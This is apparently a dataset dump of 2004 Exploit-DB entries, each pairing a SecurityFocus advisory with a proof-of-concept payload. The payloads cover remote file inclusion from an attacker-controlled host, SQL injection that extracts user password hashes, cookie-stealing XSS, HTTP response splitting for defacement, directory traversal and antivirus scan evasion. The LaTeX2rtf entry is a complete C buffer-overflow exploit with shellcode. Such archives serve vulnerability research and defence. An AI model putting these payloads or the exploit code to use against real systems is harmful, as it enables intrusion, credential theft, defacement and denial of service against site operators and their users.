QLWD/code_shield huggingface dataset:
标题: @lexPHPTeam @lex Guestbook 3.12 - PHP Remote File Inclusion EDB-ID: 24638 CVE: 2004-1554 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/11260/info

A vulnerability is reported to exist in the @lexPHPTeam @lex Guestbook software that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system. The issue exists due to improper validation of user-supplied data.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.

http://www.example.com/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f URL: https://www.exploit-db.com/exploits/24638
标题: FreezingCold Broadboard - 'search.asp' SQL Injection EDB-ID: 24625 CVE: 2004-1555 类型: WEBAPPS 平台: ASP 发布日期: 2004-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/11250/info

Reportedly BroadBoard Message Board is affected by multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied URI input prior to using it in an SQL query.

An attacker may exploit these issues to manipulate SQL queries, potentially revealing or corrupting sensitive database data. These issues may also facilitate attacks against the underlying database software.

http://broadboard/forum/search.asp?archives=1&action=1&keywords= URL: https://www.exploit-db.com/exploits/24625
标题: FreezingCold Broadboard - 'profile.asp' SQL Injection EDB-ID: 24626 CVE: 2004-1555 类型: WEBAPPS 平台: ASP 发布日期: 2004-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/11250/info
 
Reportedly BroadBoard Message Board is affected by multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied URI input prior to using it in an SQL query.
 
An attacker may exploit these issues to manipulate SQL queries, potentially revealing or corrupting sensitive database data. These issues may also facilitate attacks against the underlying database software.

http://broadboard/forum/profile.asp?handle=['SQL code] URL: https://www.exploit-db.com/exploits/24626
标题: Mambo Open Source 4.5.1 (1.0.9) - 'Function.php' Arbitrary Command Execution EDB-ID: 24615 CVE: 2004-1693 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11220/info
 
Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.
 
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.

http://www.example.com/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://www.example.org/ URL: https://www.exploit-db.com/exploits/24615
标题: TUTOS - 'app_new.php?t' Cross-Site Scripting EDB-ID: 24617 CVE: 2004-2162 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11221/info
 
Tutos is reported prone to multiple remote input-validation vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and SQL-injection attacks.
 
These issue reportedly affect Tutos 1.1.2004-04-14.

http://www.example.com/app_new.php?t=200408240<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24617
标题: EmuLive Server4 - Authentication Bypass / Denial of Service EDB-ID: 24619 CVE: 2004-1695 类型: DOS 平台: CGI 发布日期: 2004-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/11226/info

Reportedly EmuLive Server4 is affected by an authentication bypass vulnerability and a denial of service vulnerability. These issues are due to an access validation issue and a failure to handle exceptional conditions.

An attacker may leverage the authentication bypass issue to gain unauthorized access to the administrator scripts of the affected application, facilitating manipulation of various server settings. The denial of service issue may be exploited to cause the affected computer to freeze, denying service to legitimate users.

http://www.example.com//PUBLIC/ADMIN/INDEX.HTM

Note that the '//' after the 'http://www.example.com' is where a session ID would be presented, by providing no data between these slashes a NULL session ID is used to authenticate the attacker. URL: https://www.exploit-db.com/exploits/24619
标题: DNS4Me 3.0 - Denial of Service / Cross-Site Scripting EDB-ID: 24610 CVE: 2004-1691 类型: DOS 平台: MULTIPLE 发布日期: 2004-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/11213/info

DNS4Me is reported to be susceptible to a denial of service vulnerability, and a cross-site scripting vulnerability. These vulnerabilities affect the built-in web server contained in the package.

The first vulnerability reportedly allows attackers to cause the web server to consume all available CPU resources, and eventually crash the application.

The second vulnerability is due to a failure of the application to properly sanitize user-supplied URI input. This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Although these vulnerabilities are reported to exist in version 3.0.0.4 of DNS4Me, other versions may also be affected.

http://www.example.com/?%3E%3Cscript%3Ealert('XSS')%3C/script%3E URL: https://www.exploit-db.com/exploits/24610
标题: Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service EDB-ID: 24621 CVE: 2004-1699 类型: DOS 平台: PHP 发布日期: 2004-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/11232/info

The Pinnacle Systems ShowCenter web-based interface is reported prone to a remote denial of service vulnerability. 

The issue exists due to a lack of sanity checks performed on the Skin parameter of a ShowCenter script.

It is reported that the affect of this attack will be persistent, any request for the ShowCenter web-based interface received subsequent to an attack will result in 'File or Folder not found' error message, as the interface fails to render.

A remote attacker may exploit this condition to persistently deny service to the ShowCenter web-based interface.

http://www.example.com:8000/ShowCenter/SettingsBase.php?Skin=ATK URL: https://www.exploit-db.com/exploits/24621
标题: Sophos Anti-Virus 3.x - Reserved MS-DOS Name Scan Evasion EDB-ID: 24623 CVE: 2004-0552 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11236/info

Sophos Anti-Virus is affected by a reserved MS-DOS name virus scan evasion vulnerability. This issue is due to a design error that allows certain files to avoid being scanned.

An attacker may leverage this issue to bypass the scanner protection provided by the vulnerable anti-virus scanner, giving users a false sense of security. It is reported that this issue can be leveraged to bypass both file system and email virus scanners, allowing this issue to be exploited remotely.

copy source \\.\C:\aux URL: https://www.exploit-db.com/exploits/24623
标题: TUTOS - 'file_overview.php?link_id' SQL Injection EDB-ID: 24616 CVE: 2004-2161 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11221/info

Tutos is reported prone to multiple remote input-validation vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and SQL-injection attacks. 

These issue reportedly affect Tutos 1.1.2004-04-14.

http://www.example.com/file/file_overview.php?link_id=1005'asdf URL: https://www.exploit-db.com/exploits/24616
标题: Remository - SQL Injection EDB-ID: 24613 CVE: 2004-2143 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/11219/info

It is reported that the ReMOSitory module for Mambo is prone to an SQL injection vulnerability. This issue is due to a failure of the module to properly validate user supplied URI input.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.

http://www.example.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
http://www.example.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9
,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/* URL: https://www.exploit-db.com/exploits/24613
标题: LaTeX2rtf 1.9.15 - Remote Buffer Overflow EDB-ID: 24622 CVE: 2004-2167 类型: REMOTE 平台: LINUX 发布日期: 2004-09-21 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/11233/info

It is reported that LaTeX2rtf is susceptible to a remote buffer overflow vulnerability when handling malformed files. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable computer to gain unauthorized access. This issue is due to a failure of the application to perform proper bounds checks before copying data into a fixed sized memory buffer.

Version 1.9.15 of LaTeX2rtf is reported vulnerable to this issue. Other versions may also be affected.
*/

char center[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;

int main()
 
  int i;

  printf("\\def\\row#1{");

  for (i = 0;i < 1024;++i)
    putchar('x');
  for (i = 0;i < 6;++i) {
    /* preserve args[0] */
    putchar(0x40); putchar(0x6d); putchar(0x08); putchar(0x08);
  }
  for (i = 0;i < 5;++i) {
    /* smasher */
    putchar(0x40); putchar(0xf9); putchar(0xbf); putchar(0xbf);
  }

  for (i = 0;i < 256;++i)
    putchar(0x90);

  putchar(0xeb); putchar(sizeof(center));
  /* 0xeb 0x07   means   ip += 7 */
  /* assuming here that center has at most 255 bytes */

  for (i = 0;i < sizeof center;++i)
    putchar(center[i]);

  putchar(0xe8);
  putchar(251 - sizeof center); putchar(0xff); putchar(0xff); putchar(0xff);
  /* 0xe8 0xf4 0xff 0xff 0xff   means   *--sp = ip; ip -= 12 */ 

  printf("EXPLOITED");

  printf("}\n");
  printf("\\begin{document}\n");
  printf("\\row a\n");
  printf("\\end{document}\n");
} URL: https://www.exploit-db.com/exploits/24622
标题: Mambo Open Source 4.5.1 (1.0.9) - Cross-Site Scripting EDB-ID: 24614 CVE: 2004-1692 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11220/info

Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.

http://www.example.com/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1 URL: https://www.exploit-db.com/exploits/24614
标题: Google Toolbar 1.1.x - About.HTML HTML Injection EDB-ID: 24607 CVE: 2004-2475 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/11210/info

Google Toolbar is reported prone to a HTML injection vulnerability. It is reported that the Google Toolbar 'ABOUT.HTML' page allows the injection of HTML and JavaScript code.

This vulnerability may allow an attacker to inject malicious HTML and script code into the about page of the vulnerable application.

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t> URL: https://www.exploit-db.com/exploits/24607
标题: QNX Photon input-cfg - '-s' Overflow EDB-ID: 24595 CVE: 2004-1681 类型: DOS 平台: UNIX 发布日期: 2004-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11164/info
 
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
 
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/input-cfg -s AAAAA[...] URL: https://www.exploit-db.com/exploits/24595
标题: myserver 0.7 - Directory Traversal EDB-ID: 24600 CVE: 2004-2516 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11189/info

MyServer is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. This vulnerability results in improper access to potentially sensitive files located outside of the document root of the web server. 

MyServer version 0.7 is reportedly affected by this issue, however, other versions may be vulnerable as well.

"GET ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../" URL: https://www.exploit-db.com/exploits/24600
标题: Snitz Forums 2000 - 'down.asp' HTTP Response Splitting EDB-ID: 24604 CVE: 2004-1687 类型: WEBAPPS 平台: ASP 发布日期: 2004-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11201/info

Snitz Forums is reported prone to a HTTP response splitting vulnerability. The issue exists in a parameter of the 'down.asp' script. The issue presents itself due to a flaw in the affected script that allows an attacker to 
manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134

location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}defaced{/html}

(replace curly braces with less than and greater than symbols) URL: https://www.exploit-db.com/exploits/24604
标题: QNX Photon pkg-installer - '-s' Overflow EDB-ID: 24596 CVE: 2004-1681 类型: DOS 平台: UNIX 发布日期: 2004-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11164/info
  
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
  
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/pkg-installer -s AAAAA[...] URL: https://www.exploit-db.com/exploits/24596
标题: CUPS 1.1.x - UDP Packet Remote Denial of Service EDB-ID: 24599 CVE: 2004-0558 类型: DOS 平台: LINUX 发布日期: 2004-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11183/info

CUPS is prone to a remotely exploitable denial of service vulnerability that may be triggered through port 631 by a zero-length UDP packet.

nmap -sU -p 631 example.com URL: https://www.exploit-db.com/exploits/24599
标题: QNX Photon phlocale - '-s' Overflow EDB-ID: 24594 CVE: 2004-1681 类型: DOS 平台: UNIX 发布日期: 2004-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11164/info
 
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
 
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.


$ /usr/photon/bin/phlocale -s AAAAA[...] URL: https://www.exploit-db.com/exploits/24594
标题: SnipSnap 0.5.2 - HTTP Response Splitting EDB-ID: 24598 CVE: 2004-1470 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/11180/info

SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.

This issue was identified in SnipSnap 0.5.2a and prior.

The following proof of concept example is available: 
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel URL: https://www.exploit-db.com/exploits/24598
标题: Apache mod_ssl 2.0.x - Remote Denial of Service EDB-ID: 24590 CVE: 2004-0751 类型: DOS 平台: LINUX 发布日期: 2004-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/11154/info

Apache 2.x mod_ssl is reported prone to a remote denial of service vulnerability. This issue likely exists because the application fails to handle exceptional conditions. The vulnerability originates in the 'char_buffer_read' function of the 'ssl_engine_io.c' file. 

It is likely that this issue only results in a denial of service condition in child process. This BID will be updated as more information becomes available.

Apache 2.0.50 is reported to be affected by this issue, however, it is possible that other versions are vulnerable as well.

With the following configuration in httpd.conf:
Listen 47290
SSLProxyEngine on
RewriteEngine on
RewriteRule /(.*) https://www.example.com/$1 [P]

The server may be crashed by issuing the following URI:
http://www.example.com:47290/eRoomASP/CookieTest.asp?facility=facility&URL=%2FeRoom%2FFacility%2FRoom%2F0_4242 URL: https://www.exploit-db.com/exploits/24590
标题: PerlDesk Language Variable - Server-Side Script Execution EDB-ID: 24591 CVE: 2004-1678 类型: WEBAPPS 平台: CGI 发布日期: 2004-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11160/info

It is reported that PerlDesk is susceptible to a server-side script execution vulnerability.

This vulnerability may be exploited to execute the contents of Perl scripts contained on the affected server filesystem. This will execute script code in the context of the affected CGI application, typically with the privileges of the web server process.

If a remote attacker does not have access to the affected server in a manner sufficient to place malicious a Perl script to exploit this vulnerability, they may still exploit it for information disclosure purposes. Error messages that will reportedly be displayed when PerlDesk attempts to include files requested by the attacker may contain potentially sensitive information. With sufficient knowledge of the affected system, an attacker may also cause other preexisting scripts to be executed that may also aid them in further attacks.

This vulnerability may aid the attacker in further application, or system attacks.

Http://www.example.com/cgi-bin/pdesk.cgi?lang=h4x0rs%20Rul3z
Http://www.example.com/cgi-bin/pdesk.cgi?lang=../../../../../../../proc/version%00 URL: https://www.exploit-db.com/exploits/24591
标题: QNX Photon phrelay-cfg - '-s' Overflow EDB-ID: 24593 CVE: 2004-1681 类型: DOS 平台: UNIX 发布日期: 2004-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11164/info

Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/phrelay-cfg -s AAAAA[...] URL: https://www.exploit-db.com/exploits/24593
标题: PSNews 1.1 - 'No' Cross-Site Scripting EDB-ID: 24575 CVE: 2004-1665 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/11124/info

PSNews is a Web application that is implemented in PHP.

PSNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This vulnerability is reported to exist in version 1.1 of PSNews.

http://www.example.com/index.php?function=show_all&no=%253cscript>alert%2528document.cookie);%253c/script>
http://www.example.com/index.php?function=add_kom&no=">%20<font%20size="20"%20color=red>%20<b>%20WackY%20%20</font> URL: https://www.exploit-db.com/exploits/24575
标题: CuteNews 0.88/1.3.x - 'index.php' Cross-Site Scripting EDB-ID: 24566 CVE: 2004-1659 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11097/info

It is reported that CuteNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in versions 1.3.6 and prior of CuteNews.

http://www.example.com/cutenews/index.php?mod=[XSS CODE]
http://www.example.com/cutenews/index.php?mod=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24566